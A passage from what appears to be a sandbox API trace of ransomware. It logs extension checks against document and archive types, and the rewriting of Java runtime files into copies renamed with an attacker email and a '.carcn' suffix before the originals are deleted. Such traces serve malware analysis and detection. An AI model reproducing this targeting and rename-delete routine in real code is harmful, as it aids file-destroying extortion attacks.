(lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0300.666] lstrlenW (lpString=".doc") returned 4 [0300.666] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.666] lstrlenW (lpString=".docx") returned 5 [0300.666] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0300.666] lstrlenW (lpString=".pdf") returned 4 [0300.666] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.666] lstrlenW (lpString=".xls") returned 4 [0300.666] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.666] lstrlenW (lpString=".xlsx") returned 5 [0300.666] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0300.666] lstrlenW (lpString=".ppt") returned 4 [0300.666] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.666] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0300.666] lstrlenW (lpString=".zip") returned 4 [0300.666] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.666] lstrlenW (lpString=".rar") returned 4 [0300.666] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.666] lstrlenW (lpString=".bz2") returned 4 [0300.666] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.666] lstrlenW (lpString=".7z") returned 3 [0300.666] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.666] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0300.666] lstrlenW (lpString=".dbf") returned 4 [0300.667] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.667] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0300.667] lstrlenW (lpString=".1cd") returned 4 [0300.667] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.667] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0300.667] lstrlenW (lpString=".jpg") returned 4 [0300.667] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.667] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0300.667] lstrlenW (lpString="javaw.exe") returned 9 [0300.667] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0300.668] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=206912) returned 1 [0300.668] CloseHandle (hObject=0x338) returned 1 [0300.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe")) returned 0x20 [0300.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.668] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0300.668] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.668] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.668] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0300.669] GetLastError () returned 0x0 [0300.669] ReadFile (in: hFile=0x338, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x32840, lpOverlapped=0x0) returned 1 [0301.372] WriteFile (in: hFile=0x394, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x32850, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x32850, lpOverlapped=0x0) returned 1 [0301.375] ReadFile (in: hFile=0x338, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.375] WriteFile (in: hFile=0x394, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xe6, lpOverlapped=0x0) returned 1 [0301.375] SetEndOfFile (hFile=0x394) returned 1 [0301.892] CloseHandle (hObject=0x394) returned 1 [0301.892] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.892] SetEndOfFile (hFile=0x338) returned 1 [0301.894] CloseHandle (hObject=0x338) returned 1 [0301.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0301.894] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe")) returned 1 [0301.894] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0301.894] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0301.894] lstrlenW (lpString=".doc") returned 4 [0301.894] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0301.894] lstrlenW (lpString=".docx") returned 5 [0301.895] lstrcmpiW (lpString1=".docx", lpString2="w.exe") returned -1 [0301.895] lstrlenW (lpString=".pdf") returned 4 [0301.895] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0301.895] lstrlenW (lpString=".xls") returned 4 [0301.895] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0301.895] lstrlenW (lpString=".xlsx") returned 5 [0301.895] lstrcmpiW (lpString1=".xlsx", lpString2="w.exe") returned -1 [0301.895] lstrlenW (lpString=".ppt") returned 4 [0301.895] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0301.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0301.895] lstrlenW (lpString=".zip") returned 4 [0301.895] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0301.895] lstrlenW (lpString=".rar") returned 4 [0301.895] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0301.895] lstrlenW (lpString=".bz2") returned 4 [0301.895] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0301.895] lstrlenW (lpString=".7z") returned 3 [0301.895] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0301.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0301.895] lstrlenW (lpString=".dbf") returned 4 [0301.895] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0301.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0301.895] lstrlenW (lpString=".1cd") returned 4 [0301.895] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0301.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0301.895] lstrlenW (lpString=".jpg") returned 4 [0301.895] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0301.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0301.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0301.895] lstrlenW (lpString=".doc") returned 4 [0301.895] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0301.895] lstrlenW (lpString=".docx") returned 5 [0301.895] lstrcmpiW (lpString1=".docx", lpString2="w.exe") returned -1 [0301.895] lstrlenW (lpString=".pdf") returned 4 [0301.896] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0301.896] lstrlenW (lpString=".xls") returned 4 [0301.896] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0301.896] lstrlenW (lpString=".xlsx") returned 5 [0301.896] lstrcmpiW (lpString1=".xlsx", lpString2="w.exe") returned -1 [0301.896] lstrlenW (lpString=".ppt") returned 4 [0301.896] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0301.896] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0301.896] lstrlenW (lpString=".zip") returned 4 [0301.896] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0301.896] lstrlenW (lpString=".rar") returned 4 [0301.896] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0301.896] lstrlenW (lpString=".bz2") returned 4 [0301.896] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0301.896] lstrlenW (lpString=".7z") returned 3 [0301.896] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0301.896] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0301.896] lstrlenW (lpString=".dbf") returned 4 [0301.896] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0301.896] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0301.896] lstrlenW (lpString=".1cd") returned 4 [0301.896] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0301.896] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0301.896] lstrlenW (lpString=".jpg") returned 4 [0301.896] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0301.912] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0301.912] lstrlenW (lpString="jp2iexp.dll") returned 11 [0301.912] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0301.913] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=296000) returned 1 [0301.913] CloseHandle (hObject=0x384) returned 1 [0301.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll")) returned 0x20 [0301.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.913] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0301.914] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.914] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.914] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0301.914] GetLastError () returned 0x0 [0301.914] ReadFile (in: hFile=0x384, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x48440, lpOverlapped=0x0) returned 1 [0302.407] WriteFile (in: hFile=0x348, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x48450, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x48450, lpOverlapped=0x0) returned 1 [0302.412] ReadFile (in: hFile=0x384, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.412] WriteFile (in: hFile=0x348, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xea, lpOverlapped=0x0) returned 1 [0302.412] SetEndOfFile (hFile=0x348) returned 1 [0302.412] CloseHandle (hObject=0x348) returned 1 [0302.412] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.412] SetEndOfFile (hFile=0x384) returned 1 [0302.416] CloseHandle (hObject=0x384) returned 1 [0302.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0302.416] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll")) returned 1 [0302.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0302.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0302.416] lstrlenW (lpString=".doc") returned 4 [0302.416] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0302.416] lstrlenW (lpString=".docx") returned 5 [0302.416] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0302.416] lstrlenW (lpString=".pdf") returned 4 [0302.416] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0302.416] lstrlenW (lpString=".xls") returned 4 [0302.416] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0302.416] lstrlenW (lpString=".xlsx") returned 5 [0302.416] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0302.417] lstrlenW (lpString=".ppt") returned 4 [0302.417] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0302.417] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0302.417] lstrlenW (lpString=".zip") returned 4 [0302.417] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0302.417] lstrlenW (lpString=".rar") returned 4 [0302.417] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0302.417] lstrlenW (lpString=".bz2") returned 4 [0302.417] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0302.417] lstrlenW (lpString=".7z") returned 3 [0302.417] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0302.417] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0302.417] lstrlenW (lpString=".dbf") returned 4 [0302.417] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0302.417] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0302.417] lstrlenW (lpString=".1cd") returned 4 [0302.417] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0302.417] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0302.417] lstrlenW (lpString=".jpg") returned 4 [0302.417] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0302.417] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0302.417] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0302.417] lstrlenW (lpString=".doc") returned 4 [0302.417] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0302.417] lstrlenW (lpString=".docx") returned 5 [0302.417] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0302.417] lstrlenW (lpString=".pdf") returned 4 [0302.417] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0302.417] lstrlenW (lpString=".xls") returned 4 [0302.417] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0302.417] lstrlenW (lpString=".xlsx") returned 5 [0302.417] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0302.417] lstrlenW (lpString=".ppt") returned 4 [0302.417] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0302.417] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0302.418] lstrlenW (lpString=".zip") returned 4 [0302.418] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0302.418] lstrlenW (lpString=".rar") returned 4 [0302.418] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0302.418] lstrlenW (lpString=".bz2") returned 4 [0302.418] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0302.418] lstrlenW (lpString=".7z") returned 3 [0302.418] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0302.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0302.418] lstrlenW (lpString=".dbf") returned 4 [0302.418] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0302.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0302.418] lstrlenW (lpString=".1cd") returned 4 [0302.418] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0302.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0302.418] lstrlenW (lpString=".jpg") returned 4 [0302.418] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0302.418] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0302.418] lstrlenW (lpString="kcms.dll") returned 8 [0302.418] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0302.419] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=220736) returned 1 [0302.419] CloseHandle (hObject=0x384) returned 1 [0302.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll")) returned 0x20 [0302.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0302.420] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0302.420] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.420] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.420] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0302.420] GetLastError () returned 0x0 [0302.420] ReadFile (in: hFile=0x384, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x35e40, lpOverlapped=0x0) returned 1 [0302.596] WriteFile (in: hFile=0x348, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x35e50, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x35e50, lpOverlapped=0x0) returned 1 [0302.601] ReadFile (in: hFile=0x384, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.601] WriteFile (in: hFile=0x348, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xe4, lpOverlapped=0x0) returned 1 [0302.601] SetEndOfFile (hFile=0x348) returned 1 [0302.601] CloseHandle (hObject=0x348) returned 1 [0302.601] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.601] SetEndOfFile (hFile=0x384) returned 1 [0302.604] CloseHandle (hObject=0x384) returned 1 [0302.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0302.604] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll")) returned 1 [0302.604] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0302.604] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0302.604] lstrlenW (lpString=".doc") returned 4 [0302.604] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0302.604] lstrlenW (lpString=".docx") returned 5 [0302.604] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0302.604] lstrlenW (lpString=".pdf") returned 4 [0302.605] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0302.605] lstrlenW (lpString=".xls") returned 4 [0302.605] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0302.605] lstrlenW (lpString=".xlsx") returned 5 [0302.605] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0302.605] lstrlenW (lpString=".ppt") returned 4 [0302.605] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0302.605] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0302.605] lstrlenW (lpString=".zip") returned 4 [0302.605] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0302.605] lstrlenW (lpString=".rar") returned 4 [0302.605] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0302.605] lstrlenW (lpString=".bz2") returned 4 [0302.605] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0302.605] lstrlenW (lpString=".7z") returned 3 [0302.605] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0302.605] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0302.605] lstrlenW (lpString=".dbf") returned 4 [0302.605] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0302.605] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0302.605] lstrlenW (lpString=".1cd") returned 4 [0302.605] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0302.605] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0302.605] lstrlenW (lpString=".jpg") returned 4 [0302.605] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0302.605] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0302.605] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0302.606] lstrlenW (lpString=".doc") returned 4 [0302.606] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0302.606] lstrlenW (lpString=".docx") returned 5 [0302.606] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0302.606] lstrlenW (lpString=".pdf") returned 4 [0302.606] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0302.606] lstrlenW (lpString=".xls") returned 4 [0302.606] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0302.606] lstrlenW (lpString=".xlsx") returned 5 [0302.606] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0302.606] lstrlenW (lpString=".ppt") returned 4 [0302.606] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0302.606] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0302.606] lstrlenW (lpString=".zip") returned 4 [0302.606] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0302.606] lstrlenW (lpString=".rar") returned 4 [0302.606] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0302.606] lstrlenW (lpString=".bz2") returned 4 [0302.606] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0302.606] lstrlenW (lpString=".7z") returned 3 [0302.606] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0302.606] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0302.606] lstrlenW (lpString=".dbf") returned 4 [0302.606] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0302.606] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0302.606] lstrlenW (lpString=".1cd") returned 4 [0302.606] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0302.606] lstrlenW (lpString="C:\\Program 